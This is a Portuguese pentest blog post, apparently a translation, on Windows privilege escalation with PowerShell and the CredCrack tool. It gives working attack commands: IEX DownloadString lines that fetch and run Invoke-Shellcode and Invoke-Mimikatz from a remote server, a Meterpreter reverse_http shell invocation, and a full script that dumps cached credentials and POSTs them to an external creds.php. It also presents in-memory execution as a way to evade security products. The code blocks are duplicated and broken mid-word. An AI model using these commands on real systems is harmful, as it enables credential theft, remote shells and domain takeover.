Escalação de privilégio com PowerShell
Maximoz 16 de janeiro de 201620 de fevereiro de 2016 Deixe um comentário
Introdução
Escalação de privilégio é uma tarefa que se prova ser difícil às vezes. No passado, se poderia confiar no Metasploit como um framework de exploração completo. Com o Metasploit, não só seria capaz de explorar uma vulnerabilidade mas também rapidamente elevar os privilégios com o comando ‘getsystem’. De qualquer maneira, com o cenário da cybersegurança constantemente em mudança, foi apenas uma questão de tempo antes que administradores de rede implementassem novos avanços tecnológicos que detectariam e preveniriam a maioria dos payloads do Metasploit. Com uma das ferramentas favoritas de pentesters agora sendo detectada, os profissionais de segurança precisavam encontrar uma solução alternativa. Bem vindo a nova era do pentest, uma era onde colocar binários em sistemas de vítimas não é mais exigido. Uma era onde se pode executar um shellcode ou obter credenciais de maneira limpa sem mesmo tocar o sistema de arquivos. Bem vindo a era do pentest com PowerShell. Este artigo tem o objetivo de fornecer uma introdução técnica sobre como usar PowerShell para rapidamente escalar privilégios em sistemas operacionais Windows.
O mundo do PowerShell
Desde de seu lançamento em Novembro de 2006, PowerShell tem facilitado trabalhos de muitos administradores Windows. Com uma grande variedade de métodos e funcionalidades, PowerShell é muito mais poderosa e diversa que seu antecessor, o ‘command
prompt’ ou ‘prompt de comando’. De qualquer forma, apesar da funcionalidade diversa do PowerShell, há um método que cativa os
olhos dos pentesters, o método DownloadString.
O método DownloadString está presente na versão 2.0 em diante do PowerShell. Quando usado, DownloadString baixa os conteúdos de uma página web para uma string. Se a string baixada for um script PowerShell então ele pode ser executado. A melhor parte? A execução roda na memória, logo faz um bypass em produtos de segurança e na política de execução de scripts do PowerShell. Para demonstrar a funcionalidade do método DownloadString, eu criei um simples script PowerShell cujo nome é ipconfig.ps1 e executei ele em um sistema operacional Windows 10 com tudo instalado. O scritpt ipconfig.ps1 identifica a versão do PowerShell que está executando e executa o comando ipconfig. Tabela 1: conteúdo do script Ipconfig.ps1 $ver = $PSVersionTable.P SVersion.Major “You are using PowerShell version” + $ver ipconfig 1 2 3 $ver = $PSVersionTable.PSVersion.Major “You are using PowerShell version” + $ver ipconfig
Há um erro quando o script é executado localmente uma vez que a política de execução do PowerShell está configurada como
Restricted (Restrito). Figura 1: Erro de execução do PowerShell Entretanto, se for feito o upload do script para um servidor web e o método DownloadString for usado, é feito um bypass na política de execução do PowerShell. Tabela 2: Exemplo da funcionalidade do método DownloadString PS > IEX (New-Object Net.WebClient).Do wnloadString(“http s://cienciahacker.c om.br/downloads/i 1 PS > IEX (New-Object Net.WebClient).DownloadString(“https://cienciahacker.com.br/downloads/ipconfig.ps1”)
Figura 2: DownloadString baixando e executando o script ipconfig.ps1
Armados com conhecimento, profissionais de segurança começaram a criar scripts PowerShell e a combina-los com o método
DownloadString para driblar as restrições de segurança. Hoje, dois dos mais usados scripts são Invoke-Shellcode e Invoke-Mimikatz.
Ambos scripts podem ser encontrados neste Github.
Invocando Shellcode na memória
No dia 5 de Novembro de 2015 o script Invoke-Shellcode foi modificado pelo dono do seu reposótorio no Github removendo a integração do script com o Metasploit (veja mais) . Portanto o script usado neste artigo é o anterior a essa modificação cujo consegui recuperá-lo graças ao sistema de commits do Github.
O script Invoke-Shellcode permite pentesters executarem shellcodes personalizados ou payloads como o reverse_http do Metasploit. O exemplo a seguir retrata o uso do método DownloadString para evitar as restrições de segurança e executar o payload de HTTP reverso do Metasploit na memória. O script Invoke-Shellcode foi colocado em um servidor local. Tabela 3: Exemplo de comando do script Invoke-Shellcode com DownloadString PS > IEX (New-Object Net.WebClient).Do wnloadString(“http s://cienciahacker.c om.br/downloads/I nvoke-Shellcode.ps1”) 1 PS > IEX (New-Object Net.WebClient).DownloadString(“https://cienciahacker.com.br/downloads/Invoke-Shellcode.ps1”) PS > Invoke-Shellcode -Payload windows/meterpret er/reverse_http - Lhost<ip> -Lport<port> 1 PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost<ip> -Lport<port> Figura 3: DownloadString baixando e executando o script Invoke-Shellcode Depois de executar o script no sistema da vítima, deve-se obter uma shell como mostrado na Figura 3. Figura 4: Shell de HTTP reverso obtida usando o script Invoke-Shellcode
Obtendo credenciais em cache na memória
O script Invoke-Mimikatz é uma porta do Mimikatz do Benjamin Delpy criada por Joseph Bialek. Mimikatz auxilia pentesters obtendo credenciais em cache e as mostra em texto claro. Novamente, o exemplo a seguir mostra o uso do script Invoke-Mimikatz usando o método DownloadString. Tabela 4: Exemplo de comando do script Invoke-Mimikatz com DownloadString PS > IEX (New-Object Net.WebClient).Do wnloadString(“http s://cienciahacker.c om.br/downloads/I nvoke-1 PS > IEX (New-Object Net.WebClient).DownloadString(“https://cienciahacker.com.br/downloads/Invoke-Mimikatz.psnvoke-1”)PS > Invoke- Mimikatz -DumpCreds
1 PS > Invoke-Mimikatz -DumpCreds
Figura 5: Execução do Mimikatz na memória com DownloadString do PowerShell
A habilidade de executar esse script na memória é incrivelmente poderosa para pentesters. Imagine obter as credenciais recursivamente de todos os sistemas em um domínio. Seria possível obter as credenciais do administrador de domínio em segundos e escalar privilégios com êxito. Aí é onde o CredCrack entra em ação.
Automatizando escalação de privilégio com CredCrack
Pentesters amam automatização, de fato nós amamos automatizar quanto mais coisas possíveis. Felizmente, há ferramentas que
foram criadas para automatizar a exploração e escalação de privilégio e tornar a vida dos pentesters mais fácil. Com ótimas ferramentas, como Empire, PowerUp e CredCrack, pode-se ir de usuário de domínio para administrador de domínio em segundos. A seção a seguir irá demonstrar como usar CredCrack, um popular script de coleta de credenciais. CredCrack foi criado e lançado por mim, Jonathan Broche, em Agosto de 2015. Desde então, se tornou uma ferramenta popular entre os pentesters e na comunidade online. CredCrack tem duas principais funcionalidades: enumeração de compartilhamentos e coleta de credenciais. Tabela 5: Menu de ajuda do CredCrack usage: credcrack.py -h -d DOMAIN -u USER (-f FILE | -r RHOST) -es -l LHOST -t THREADS CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny) optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing IPs to harvest creds from. One IP per line. -r RHOST, --rhost RHOST Remote host IP to harvest creds from. -es, --enumshares Examine share access on the remote IP(s) -l LHOST, --lhost LHOST Local host IP to launch scans from. -t THREADS, --threads THREADS Number of threads (default: 10) Required: -d DOMAIN, --domain DOMAIN Domain or Workstation -u USER, --user USER Domain username Examples: ./credcrack.py -d acme -u bob -f hosts -es ./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 usage: credcrack.py -h -d DOMAIN -u USER (-f FILE | -r RHOST) -es -l LHOST -t THREADS CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny) optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing IPs to harvest creds from. One IP per line. -r RHOST, --rhost RHOST Remote host IP to harvest creds from. -es, --enumshares Examine share access on the remote IP(s) -l LHOST, --lhost LHOST Local host IP to launch scans from. -t THREADS, --threads THREADS Number of threads (default: 10) Required: -d DOMAIN, --domain DOMAIN Domain or Workstation -u USER, --user USER Domain username Examples: ./credcrack.py -d acme -u bob -f hosts -es ./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20
Uma vez que as credenciais do usuário foram comprometidas, é recomendado usar a funcionalidade de enumeração de compartilhamentos (-es, –enumshares) para identificar os sistemas que o usuário comprometido tem acesso de administrador. A funcionalidade de enumeração de compartilhamentos usa o protocolo SMB para testar compartilhamentos com acesso de escrita no sistema fornecido. Sistemas que concedem acesso de leitura/escrita para seu compartilhamento administrativo (“C$”) indica que o usuário tem acesso administrativo local.
Figura 6: Enumerando acessos a compartilhamentos com CredCrack
Depois de usar a funcionalidade de enumeração de compartilhamentos, o pentester criaria uma lista de sistemas com acesso administrativo e executaria neles a funcionalidade de coleta de credenciais do CredCrack. A coleta de credenciais do CredCrack funciona executando o script Invoke-Mimikatz usando o método DownloadString do PowerShell contra os sistemas fornecidos. As vítimas irão executar o Invoke-Mimikatz e enviar as credenciais através de uma requisição POST de volta ao sistema do pentester.
Figura 7: Ilustração do CredCrack enviando o Invoke-Mimikatz para os sistemas das vítimas Abaixo está o script PowerShell inicial que as vítimas estarão executando: Tabela 6: Script PowerShell que o CredCrack irá executar nas vítimas PowerShell IEX (New-Object Net.WebClient).Do wnloadString('http s://cienciahacker.c om.br/downloads/I nvoke-Mimikatz.ps1'); $creds = Invoke- Mimikatz -DumpCreds; $request = System.Net.WebRe quest::Create('http s://cienciahacker.c om.br/creds.php'); $request.Method = “POST”; $request.ContentT ype = “application/x- www-form-urlencoded”; $bytes = System.Text.Encodi ng::ASCII.GetBytes ($creds); $request.ContentL ength = $bytes.Length; $requestStream = $request.GetReque stStream(); $requestStream.Wr ite($bytes, 0, $bytes.Length); $requestStream.Cl ose(); $request.GetRespo nse(); 1 2 3 4 5 6 7 8 9 10 11 IEX (New-Object Net.WebClient).DownloadString('https://cienciahacker.com.br/downloads/Invoke-Mimikatz.ps1'); $creds = Invoke-Mimikatz -DumpCreds; $request = System.Net.WebRequest::Create('https://cienciahacker.com.br/creds.php'); $request.Method = “POST”; $request.ContentType = “application/x-www-form-urlencoded”; $bytes = System.Text.Encoding::ASCII.GetBytes($creds); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write($bytes, 0, $bytes.Length); $requestStream.Close(); $request.GetResponse(); Uma vez que o Mimikatz foi executado no sistema da vítima através do PowerShell, ele irá enviar as credenciais em uma requisição POST para o sistema do pentester. Figura 8: Ilustração do CredCrack enviando as credenciais em uma requisição POST para o pentester Figura 8: Ilustração do CredCrack enviando as credenciais em uma requisição POST para o pentester
Depois de todas as vítimas terminarem a execução do Mimikatz, CredCrack irá pesquisar por qualquer combinação na lista do administrador de domínio para ver se uma conta do administrador de domínio foi obtida e se sim, ele mostra na tela as credenciais da conta.
Administrador de domínio em apenas 10.9 segundos! CredCrack se provou ser uma das formas mais rápidas de escalação de privilégio em ambientes de grandes empresas e este é apenas um exemplo das muitas ferramentas poderosas disponíveis para profissionais de segurança hoje.